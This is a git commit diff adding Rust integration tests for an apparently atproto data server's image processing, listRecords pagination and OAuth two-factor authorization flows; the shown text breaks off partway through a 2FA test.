Remaining endpoints for MVP

This commit is contained in:
lewis
2025-12-12 19:20:39 +02:00
parent 2ededf32a6
commit b66e4fe291
76 changed files with 8803 additions and 564 deletions
+315
View File
@@ -0,0 +1,315 @@
use bspds::image::{ImageProcessor, ImageError, OutputFormat, THUMB_SIZE_FEED, THUMB_SIZE_FULL, DEFAULT_MAX_FILE_SIZE};
use image::{DynamicImage, ImageFormat};
use std::io::Cursor;
fn create_test_png(width: u32, height: u32) -> Vec<u8> {
let img = DynamicImage::new_rgb8(width, height);
let mut buf = Vec::new();
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Png).unwrap();
buf
}
fn create_test_jpeg(width: u32, height: u32) -> Vec<u8> {
let img = DynamicImage::new_rgb8(width, height);
let mut buf = Vec::new();
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Jpeg).unwrap();
buf
}
fn create_test_gif(width: u32, height: u32) -> Vec<u8> {
let img = DynamicImage::new_rgb8(width, height);
let mut buf = Vec::new();
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::Gif).unwrap();
buf
}
fn create_test_webp(width: u32, height: u32) -> Vec<u8> {
let img = DynamicImage::new_rgb8(width, height);
let mut buf = Vec::new();
img.write_to(&mut Cursor::new(&mut buf), ImageFormat::WebP).unwrap();
buf
}
#[test]
fn test_process_png() {
let processor = ImageProcessor::new();
let data = create_test_png(500, 500);
let result = processor.process(&data, "image/png").unwrap();
assert_eq!(result.original.width, 500);
assert_eq!(result.original.height, 500);
}
#[test]
fn test_process_jpeg() {
let processor = ImageProcessor::new();
let data = create_test_jpeg(400, 300);
let result = processor.process(&data, "image/jpeg").unwrap();
assert_eq!(result.original.width, 400);
assert_eq!(result.original.height, 300);
}
#[test]
fn test_process_gif() {
let processor = ImageProcessor::new();
let data = create_test_gif(200, 200);
let result = processor.process(&data, "image/gif").unwrap();
assert_eq!(result.original.width, 200);
assert_eq!(result.original.height, 200);
}
#[test]
fn test_process_webp() {
let processor = ImageProcessor::new();
let data = create_test_webp(300, 200);
let result = processor.process(&data, "image/webp").unwrap();
assert_eq!(result.original.width, 300);
assert_eq!(result.original.height, 200);
}
#[test]
fn test_thumbnail_feed_size() {
let processor = ImageProcessor::new();
let data = create_test_png(800, 600);
let result = processor.process(&data, "image/png").unwrap();
let thumb = result.thumbnail_feed.expect("Should generate feed thumbnail for large image");
assert!(thumb.width <= THUMB_SIZE_FEED);
assert!(thumb.height <= THUMB_SIZE_FEED);
}
#[test]
fn test_thumbnail_full_size() {
let processor = ImageProcessor::new();
let data = create_test_png(2000, 1500);
let result = processor.process(&data, "image/png").unwrap();
let thumb = result.thumbnail_full.expect("Should generate full thumbnail for large image");
assert!(thumb.width <= THUMB_SIZE_FULL);
assert!(thumb.height <= THUMB_SIZE_FULL);
}
#[test]
fn test_no_thumbnail_small_image() {
let processor = ImageProcessor::new();
let data = create_test_png(100, 100);
let result = processor.process(&data, "image/png").unwrap();
assert!(result.thumbnail_feed.is_none(), "Small image should not get feed thumbnail");
assert!(result.thumbnail_full.is_none(), "Small image should not get full thumbnail");
}
#[test]
fn test_webp_conversion() {
let processor = ImageProcessor::new().with_output_format(OutputFormat::WebP);
let data = create_test_png(300, 300);
let result = processor.process(&data, "image/png").unwrap();
assert_eq!(result.original.mime_type, "image/webp");
}
#[test]
fn test_jpeg_output_format() {
let processor = ImageProcessor::new().with_output_format(OutputFormat::Jpeg);
let data = create_test_png(300, 300);
let result = processor.process(&data, "image/png").unwrap();
assert_eq!(result.original.mime_type, "image/jpeg");
}
#[test]
fn test_png_output_format() {
let processor = ImageProcessor::new().with_output_format(OutputFormat::Png);
let data = create_test_jpeg(300, 300);
let result = processor.process(&data, "image/jpeg").unwrap();
assert_eq!(result.original.mime_type, "image/png");
}
#[test]
fn test_max_dimension_enforced() {
let processor = ImageProcessor::new().with_max_dimension(1000);
let data = create_test_png(2000, 2000);
let result = processor.process(&data, "image/png");
assert!(matches!(result, Err(ImageError::TooLarge { .. })));
if let Err(ImageError::TooLarge { width, height, max_dimension }) = result {
assert_eq!(width, 2000);
assert_eq!(height, 2000);
assert_eq!(max_dimension, 1000);
}
}
#[test]
fn test_file_size_limit() {
let processor = ImageProcessor::new().with_max_file_size(100);
let data = create_test_png(500, 500);
let result = processor.process(&data, "image/png");
assert!(matches!(result, Err(ImageError::FileTooLarge { .. })));
if let Err(ImageError::FileTooLarge { size, max_size }) = result {
assert!(size > 100);
assert_eq!(max_size, 100);
}
}
#[test]
fn test_default_max_file_size() {
assert_eq!(DEFAULT_MAX_FILE_SIZE, 10 * 1024 * 1024);
}
#[test]
fn test_unsupported_format_rejected() {
let processor = ImageProcessor::new();
let data = b"this is not an image";
let result = processor.process(data, "application/octet-stream");
assert!(matches!(result, Err(ImageError::UnsupportedFormat(_))));
}
#[test]
fn test_corrupted_image_handling() {
let processor = ImageProcessor::new();
let data = b"\x89PNG\r\n\x1a\ncorrupted data here";
let result = processor.process(data, "image/png");
assert!(matches!(result, Err(ImageError::DecodeError(_))));
}
#[test]
fn test_aspect_ratio_preserved_landscape() {
let processor = ImageProcessor::new();
let data = create_test_png(1600, 800);
let result = processor.process(&data, "image/png").unwrap();
let thumb = result.thumbnail_full.expect("Should have thumbnail");
let original_ratio = 1600.0 / 800.0;
let thumb_ratio = thumb.width as f64 / thumb.height as f64;
assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
}
#[test]
fn test_aspect_ratio_preserved_portrait() {
let processor = ImageProcessor::new();
let data = create_test_png(800, 1600);
let result = processor.process(&data, "image/png").unwrap();
let thumb = result.thumbnail_full.expect("Should have thumbnail");
let original_ratio = 800.0 / 1600.0;
let thumb_ratio = thumb.width as f64 / thumb.height as f64;
assert!((original_ratio - thumb_ratio).abs() < 0.1, "Aspect ratio should be preserved");
}
#[test]
fn test_mime_type_detection_auto() {
let processor = ImageProcessor::new();
let data = create_test_png(100, 100);
let result = processor.process(&data, "application/octet-stream");
assert!(result.is_ok(), "Should detect PNG format from data");
}
#[test]
fn test_is_supported_mime_type() {
assert!(ImageProcessor::is_supported_mime_type("image/jpeg"));
assert!(ImageProcessor::is_supported_mime_type("image/jpg"));
assert!(ImageProcessor::is_supported_mime_type("image/png"));
assert!(ImageProcessor::is_supported_mime_type("image/gif"));
assert!(ImageProcessor::is_supported_mime_type("image/webp"));
assert!(ImageProcessor::is_supported_mime_type("IMAGE/PNG"));
assert!(ImageProcessor::is_supported_mime_type("Image/Jpeg"));
assert!(!ImageProcessor::is_supported_mime_type("image/bmp"));
assert!(!ImageProcessor::is_supported_mime_type("image/tiff"));
assert!(!ImageProcessor::is_supported_mime_type("text/plain"));
assert!(!ImageProcessor::is_supported_mime_type("application/json"));
}
#[test]
fn test_strip_exif() {
let data = create_test_jpeg(100, 100);
let result = ImageProcessor::strip_exif(&data);
assert!(result.is_ok());
let stripped = result.unwrap();
assert!(!stripped.is_empty());
}
#[test]
fn test_with_thumbnails_disabled() {
let processor = ImageProcessor::new().with_thumbnails(false);
let data = create_test_png(2000, 2000);
let result = processor.process(&data, "image/png").unwrap();
assert!(result.thumbnail_feed.is_none(), "Thumbnails should be disabled");
assert!(result.thumbnail_full.is_none(), "Thumbnails should be disabled");
}
#[test]
fn test_builder_chaining() {
let processor = ImageProcessor::new()
.with_max_dimension(2048)
.with_max_file_size(5 * 1024 * 1024)
.with_output_format(OutputFormat::Jpeg)
.with_thumbnails(true);
let data = create_test_png(500, 500);
let result = processor.process(&data, "image/png").unwrap();
assert_eq!(result.original.mime_type, "image/jpeg");
}
#[test]
fn test_processed_image_fields() {
let processor = ImageProcessor::new();
let data = create_test_png(500, 500);
let result = processor.process(&data, "image/png").unwrap();
assert!(!result.original.data.is_empty());
assert!(!result.original.mime_type.is_empty());
assert!(result.original.width > 0);
assert!(result.original.height > 0);
}
#[test]
fn test_only_feed_thumbnail_for_medium_images() {
let processor = ImageProcessor::new();
let data = create_test_png(500, 500);
let result = processor.process(&data, "image/png").unwrap();
assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
assert!(result.thumbnail_full.is_none(), "Should NOT have full thumbnail for 500px image");
}
#[test]
fn test_both_thumbnails_for_large_images() {
let processor = ImageProcessor::new();
let data = create_test_png(2000, 2000);
let result = processor.process(&data, "image/png").unwrap();
assert!(result.thumbnail_feed.is_some(), "Should have feed thumbnail");
assert!(result.thumbnail_full.is_some(), "Should have full thumbnail for 2000px image");
}
#[test]
fn test_exact_threshold_boundary_feed() {
let processor = ImageProcessor::new();
let at_threshold = create_test_png(THUMB_SIZE_FEED, THUMB_SIZE_FEED);
let result = processor.process(&at_threshold, "image/png").unwrap();
assert!(result.thumbnail_feed.is_none(), "Exact threshold should not generate thumbnail");
let above_threshold = create_test_png(THUMB_SIZE_FEED + 1, THUMB_SIZE_FEED + 1);
let result = processor.process(&above_threshold, "image/png").unwrap();
assert!(result.thumbnail_feed.is_some(), "Above threshold should generate thumbnail");
}
#[test]
fn test_exact_threshold_boundary_full() {
let processor = ImageProcessor::new();
let at_threshold = create_test_png(THUMB_SIZE_FULL, THUMB_SIZE_FULL);
let result = processor.process(&at_threshold, "image/png").unwrap();
assert!(result.thumbnail_full.is_none(), "Exact threshold should not generate thumbnail");
let above_threshold = create_test_png(THUMB_SIZE_FULL + 1, THUMB_SIZE_FULL + 1);
let result = processor.process(&above_threshold, "image/png").unwrap();
assert!(result.thumbnail_full.is_some(), "Above threshold should generate thumbnail");
}
+5
View File
@@ -217,6 +217,7 @@ async fn get_user_signing_key(did: &str) -> Option<Vec<u8>> {
}
#[tokio::test]
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_valid_signature_and_mock_plc -- --ignored --test-threads=1"]
async fn test_import_with_valid_signature_and_mock_plc() {
let client = client();
let (token, did) = create_account_and_login(&client).await;
@@ -266,6 +267,7 @@ async fn test_import_with_valid_signature_and_mock_plc() {
}
#[tokio::test]
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_wrong_signing_key_fails -- --ignored --test-threads=1"]
async fn test_import_with_wrong_signing_key_fails() {
let client = client();
let (token, did) = create_account_and_login(&client).await;
@@ -322,6 +324,7 @@ async fn test_import_with_wrong_signing_key_fails() {
}
#[tokio::test]
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_did_mismatch_fails -- --ignored --test-threads=1"]
async fn test_import_with_did_mismatch_fails() {
let client = client();
let (token, did) = create_account_and_login(&client).await;
@@ -373,6 +376,7 @@ async fn test_import_with_did_mismatch_fails() {
}
#[tokio::test]
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_plc_resolution_failure -- --ignored --test-threads=1"]
async fn test_import_with_plc_resolution_failure() {
let client = client();
let (token, did) = create_account_and_login(&client).await;
@@ -424,6 +428,7 @@ async fn test_import_with_plc_resolution_failure() {
}
#[tokio::test]
#[ignore = "requires exclusive env var access; run with: cargo test test_import_with_no_signing_key_in_did_doc -- --ignored --test-threads=1"]
async fn test_import_with_no_signing_key_in_did_doc() {
let client = client();
let (token, did) = create_account_and_login(&client).await;
+554
View File
@@ -0,0 +1,554 @@
mod common;
mod helpers;
use common::*;
use helpers::*;
use chrono::Utc;
use reqwest::StatusCode;
use serde_json::{Value, json};
use std::time::Duration;
async fn create_post_with_rkey(
client: &reqwest::Client,
did: &str,
jwt: &str,
rkey: &str,
text: &str,
) -> (String, String) {
let payload = json!({
"repo": did,
"collection": "app.bsky.feed.post",
"rkey": rkey,
"record": {
"$type": "app.bsky.feed.post",
"text": text,
"createdAt": Utc::now().to_rfc3339()
}
});
let res = client
.post(format!(
"{}/xrpc/com.atproto.repo.putRecord",
base_url().await
))
.bearer_auth(jwt)
.json(&payload)
.send()
.await
.expect("Failed to create record");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
(
body["uri"].as_str().unwrap().to_string(),
body["cid"].as_str().unwrap().to_string(),
)
}
#[tokio::test]
async fn test_list_records_default_order() {
let client = client();
let (did, jwt) = setup_new_user("list-default-order").await;
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First post").await;
tokio::time::sleep(Duration::from_millis(50)).await;
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second post").await;
tokio::time::sleep(Duration::from_millis(50)).await;
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third post").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
assert_eq!(records.len(), 3);
let rkeys: Vec<&str> = records
.iter()
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
.collect();
assert_eq!(rkeys, vec!["cccc", "bbbb", "aaaa"], "Default order should be DESC (newest first)");
}
#[tokio::test]
async fn test_list_records_reverse_true() {
let client = client();
let (did, jwt) = setup_new_user("list-reverse").await;
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First post").await;
tokio::time::sleep(Duration::from_millis(50)).await;
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second post").await;
tokio::time::sleep(Duration::from_millis(50)).await;
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third post").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("reverse", "true"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
let rkeys: Vec<&str> = records
.iter()
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
.collect();
assert_eq!(rkeys, vec!["aaaa", "bbbb", "cccc"], "reverse=true should give ASC order (oldest first)");
}
#[tokio::test]
async fn test_list_records_cursor_pagination() {
let client = client();
let (did, jwt) = setup_new_user("list-cursor").await;
for i in 0..5 {
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
tokio::time::sleep(Duration::from_millis(50)).await;
}
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "2"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
assert_eq!(records.len(), 2);
let cursor = body["cursor"].as_str().expect("Should have cursor with more records");
let res2 = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "2"),
("cursor", cursor),
])
.send()
.await
.expect("Failed to list records with cursor");
assert_eq!(res2.status(), StatusCode::OK);
let body2: Value = res2.json().await.unwrap();
let records2 = body2["records"].as_array().unwrap();
assert_eq!(records2.len(), 2);
let all_uris: Vec<&str> = records
.iter()
.chain(records2.iter())
.map(|r| r["uri"].as_str().unwrap())
.collect();
let unique_uris: std::collections::HashSet<&str> = all_uris.iter().copied().collect();
assert_eq!(all_uris.len(), unique_uris.len(), "Cursor pagination should not repeat records");
}
#[tokio::test]
async fn test_list_records_rkey_start() {
let client = client();
let (did, jwt) = setup_new_user("list-rkey-start").await;
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First").await;
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second").await;
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third").await;
create_post_with_rkey(&client, &did, &jwt, "dddd", "Fourth").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("rkeyStart", "bbbb"),
("reverse", "true"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
let rkeys: Vec<&str> = records
.iter()
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
.collect();
for rkey in &rkeys {
assert!(*rkey >= "bbbb", "rkeyStart should filter records >= start");
}
}
#[tokio::test]
async fn test_list_records_rkey_end() {
let client = client();
let (did, jwt) = setup_new_user("list-rkey-end").await;
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First").await;
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second").await;
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third").await;
create_post_with_rkey(&client, &did, &jwt, "dddd", "Fourth").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("rkeyEnd", "cccc"),
("reverse", "true"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
let rkeys: Vec<&str> = records
.iter()
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
.collect();
for rkey in &rkeys {
assert!(*rkey <= "cccc", "rkeyEnd should filter records <= end");
}
}
#[tokio::test]
async fn test_list_records_rkey_range() {
let client = client();
let (did, jwt) = setup_new_user("list-rkey-range").await;
create_post_with_rkey(&client, &did, &jwt, "aaaa", "First").await;
create_post_with_rkey(&client, &did, &jwt, "bbbb", "Second").await;
create_post_with_rkey(&client, &did, &jwt, "cccc", "Third").await;
create_post_with_rkey(&client, &did, &jwt, "dddd", "Fourth").await;
create_post_with_rkey(&client, &did, &jwt, "eeee", "Fifth").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("rkeyStart", "bbbb"),
("rkeyEnd", "dddd"),
("reverse", "true"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
let rkeys: Vec<&str> = records
.iter()
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
.collect();
for rkey in &rkeys {
assert!(*rkey >= "bbbb" && *rkey <= "dddd", "Range should be inclusive, got {}", rkey);
}
assert!(!rkeys.is_empty(), "Should have at least some records in range");
}
#[tokio::test]
async fn test_list_records_limit_clamping_max() {
let client = client();
let (did, jwt) = setup_new_user("list-limit-max").await;
for i in 0..5 {
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
}
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "1000"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
assert!(records.len() <= 100, "Limit should be clamped to max 100");
}
#[tokio::test]
async fn test_list_records_limit_clamping_min() {
let client = client();
let (did, jwt) = setup_new_user("list-limit-min").await;
create_post_with_rkey(&client, &did, &jwt, "aaaa", "Post").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "0"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
assert!(records.len() >= 1, "Limit should be clamped to min 1");
}
#[tokio::test]
async fn test_list_records_empty_collection() {
let client = client();
let (did, _jwt) = setup_new_user("list-empty").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
assert!(records.is_empty(), "Empty collection should return empty array");
assert!(body["cursor"].is_null(), "Empty collection should have no cursor");
}
#[tokio::test]
async fn test_list_records_exact_limit() {
let client = client();
let (did, jwt) = setup_new_user("list-exact-limit").await;
for i in 0..10 {
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
}
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "5"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
assert_eq!(records.len(), 5, "Should return exactly 5 records when limit=5");
}
#[tokio::test]
async fn test_list_records_cursor_exhaustion() {
let client = client();
let (did, jwt) = setup_new_user("list-cursor-exhaust").await;
for i in 0..3 {
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
}
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "10"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
assert_eq!(records.len(), 3);
}
#[tokio::test]
async fn test_list_records_repo_not_found() {
let client = client();
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", "did:plc:nonexistent12345"),
("collection", "app.bsky.feed.post"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::NOT_FOUND);
}
#[tokio::test]
async fn test_list_records_includes_cid() {
let client = client();
let (did, jwt) = setup_new_user("list-includes-cid").await;
create_post_with_rkey(&client, &did, &jwt, "test", "Test post").await;
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
for record in records {
assert!(record["uri"].is_string(), "Record should have uri");
assert!(record["cid"].is_string(), "Record should have cid");
assert!(record["value"].is_object(), "Record should have value");
let cid = record["cid"].as_str().unwrap();
assert!(cid.starts_with("bafy"), "CID should be valid");
}
}
#[tokio::test]
async fn test_list_records_cursor_with_reverse() {
let client = client();
let (did, jwt) = setup_new_user("list-cursor-reverse").await;
for i in 0..5 {
create_post_with_rkey(&client, &did, &jwt, &format!("post{:02}", i), &format!("Post {}", i)).await;
}
let res = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "2"),
("reverse", "true"),
])
.send()
.await
.expect("Failed to list records");
assert_eq!(res.status(), StatusCode::OK);
let body: Value = res.json().await.unwrap();
let records = body["records"].as_array().unwrap();
let first_rkeys: Vec<&str> = records
.iter()
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
.collect();
assert_eq!(first_rkeys, vec!["post00", "post01"], "First page with reverse should start from oldest");
if let Some(cursor) = body["cursor"].as_str() {
let res2 = client
.get(format!(
"{}/xrpc/com.atproto.repo.listRecords",
base_url().await
))
.query(&[
("repo", did.as_str()),
("collection", "app.bsky.feed.post"),
("limit", "2"),
("reverse", "true"),
("cursor", cursor),
])
.send()
.await
.expect("Failed to list records with cursor");
let body2: Value = res2.json().await.unwrap();
let records2 = body2["records"].as_array().unwrap();
let second_rkeys: Vec<&str> = records2
.iter()
.map(|r| r["uri"].as_str().unwrap().split('/').last().unwrap())
.collect();
assert_eq!(second_rkeys, vec!["post02", "post03"], "Second page should continue in ASC order");
}
}
+633
View File
@@ -323,6 +323,7 @@ async fn test_authorize_get_with_valid_request_uri() {
let auth_res = client
.get(format!("{}/oauth/authorize", url))
.header("Accept", "application/json")
.query(&[("request_uri", request_uri)])
.send()
.await
@@ -344,6 +345,7 @@ async fn test_authorize_rejects_invalid_request_uri() {
let res = client
.get(format!("{}/oauth/authorize", url))
.header("Accept", "application/json")
.query(&[("request_uri", "urn:ietf:params:oauth:request_uri:nonexistent")])
.send()
.await
@@ -941,6 +943,7 @@ async fn test_wrong_credentials_denied() {
let auth_res = http_client
.post(format!("{}/oauth/authorize", url))
.header("Accept", "application/json")
.form(&[
("request_uri", request_uri),
("username", &handle),
@@ -1162,6 +1165,7 @@ async fn test_deactivated_account_cannot_authorize() {
let auth_res = http_client
.post(format!("{}/oauth/authorize", url))
.header("Accept", "application/json")
.form(&[
("request_uri", request_uri),
("username", &handle),
@@ -1184,6 +1188,7 @@ async fn test_expired_authorization_request() {
let res = http_client
.get(format!("{}/oauth/authorize", url))
.header("Accept", "application/json")
.query(&[("request_uri", "urn:ietf:params:oauth:request_uri:expired-or-nonexistent")])
.send()
.await
@@ -1477,3 +1482,631 @@ async fn test_state_with_special_chars() {
location
);
}
#[tokio::test]
async fn test_2fa_required_when_enabled() {
let url = base_url().await;
let http_client = client();
let ts = Utc::now().timestamp_millis();
let handle = format!("2fa-required-{}", ts);
let email = format!("2fa-required-{}@example.com", ts);
let password = "2fa-test-password";
let create_res = http_client
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
.json(&json!({
"handle": handle,
"email": email,
"password": password
}))
.send()
.await
.unwrap();
assert_eq!(create_res.status(), StatusCode::OK);
let account: Value = create_res.json().await.unwrap();
let user_did = account["did"].as_str().unwrap();
let db_url = common::get_db_connection_string().await;
let pool = sqlx::postgres::PgPoolOptions::new()
.max_connections(1)
.connect(&db_url)
.await
.expect("Failed to connect to database");
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
.bind(user_did)
.execute(&pool)
.await
.expect("Failed to enable 2FA");
let redirect_uri = "https://example.com/2fa-callback";
let mock_client = setup_mock_client_metadata(redirect_uri).await;
let client_id = mock_client.uri();
let (_, code_challenge) = generate_pkce();
let par_body: Value = http_client
.post(format!("{}/oauth/par", url))
.form(&[
("response_type", "code"),
("client_id", &client_id),
("redirect_uri", redirect_uri),
("code_challenge", &code_challenge),
("code_challenge_method", "S256"),
])
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let request_uri = par_body["request_uri"].as_str().unwrap();
let auth_client = no_redirect_client();
let auth_res = auth_client
.post(format!("{}/oauth/authorize", url))
.form(&[
("request_uri", request_uri),
("username", &handle),
("password", password),
("remember_device", "false"),
])
.send()
.await
.unwrap();
assert!(
auth_res.status().is_redirection(),
"Should redirect to 2FA page, got status: {}",
auth_res.status()
);
let location = auth_res.headers().get("location").unwrap().to_str().unwrap();
assert!(
location.contains("/oauth/authorize/2fa"),
"Should redirect to 2FA page, got: {}",
location
);
assert!(
location.contains("request_uri="),
"2FA redirect should include request_uri"
);
}
#[tokio::test]
async fn test_2fa_invalid_code_rejected() {
let url = base_url().await;
let http_client = client();
let ts = Utc::now().timestamp_millis();
let handle = format!("2fa-invalid-{}", ts);
let email = format!("2fa-invalid-{}@example.com", ts);
let password = "2fa-test-password";
let create_res = http_client
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
.json(&json!({
"handle": handle,
"email": email,
"password": password
}))
.send()
.await
.unwrap();
assert_eq!(create_res.status(), StatusCode::OK);
let account: Value = create_res.json().await.unwrap();
let user_did = account["did"].as_str().unwrap();
let db_url = common::get_db_connection_string().await;
let pool = sqlx::postgres::PgPoolOptions::new()
.max_connections(1)
.connect(&db_url)
.await
.expect("Failed to connect to database");
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
.bind(user_did)
.execute(&pool)
.await
.expect("Failed to enable 2FA");
let redirect_uri = "https://example.com/2fa-invalid-callback";
let mock_client = setup_mock_client_metadata(redirect_uri).await;
let client_id = mock_client.uri();
let (_, code_challenge) = generate_pkce();
let par_body: Value = http_client
.post(format!("{}/oauth/par", url))
.form(&[
("response_type", "code"),
("client_id", &client_id),
("redirect_uri", redirect_uri),
("code_challenge", &code_challenge),
("code_challenge_method", "S256"),
])
.send()
.await
.unwrap()
.json()
.await
.unwrap();
let request_uri = par_body["request_uri"].as_str().unwrap();
let auth_client = no_redirect_client();
let auth_res = auth_client
.post(format!("{}/oauth/authorize", url))
.form(&[
("request_uri", request_uri),
("username", &handle),
("password", password),
("remember_device", "false"),
])
.send()
.await
.unwrap();
assert!(auth_res.status().is_redirection());
let location = auth_res.headers().get("location").unwrap().to_str().unwrap();
assert!(location.contains("/oauth/authorize/2fa"));
let twofa_res = http_client
.post(format!("{}/oauth/authorize/2fa", url))
.form(&[
("request_uri", request_uri),
("code", "000000"),
])
.send()
.await
.unwrap();
assert_eq!(twofa_res.status(), StatusCode::OK);
let body = twofa_res.text().await.unwrap();
assert!(
body.contains("Invalid verification code") || body.contains("invalid"),
"Should show error for invalid code"
);
}
#[tokio::test]
async fn test_2fa_valid_code_completes_auth() {
let url = base_url().await;
let http_client = client();
let ts = Utc::now().timestamp_millis();
let handle = format!("2fa-valid-{}", ts);
let email = format!("2fa-valid-{}@example.com", ts);
let password = "2fa-test-password";
let create_res = http_client
.post(format!("{}/xrpc/com.atproto.server.createAccount", url))
.json(&json!({
"handle": handle,
"email": email,
"password": password
}))
.send()
.await
.unwrap();
assert_eq!(create_res.status(), StatusCode::OK);
let account: Value = create_res.json().await.unwrap();
let user_did = account["did"].as_str().unwrap();
let db_url = common::get_db_connection_string().await;
let pool = sqlx::postgres::PgPoolOptions::new()
.max_connections(1)
.connect(&db_url)
.await
.expect("Failed to connect to database");
sqlx::query("UPDATE users SET two_factor_enabled = true WHERE did = $1")
.bind(user_did)
.execute(&pool)
.await
.expect("Failed to enable 2FA");
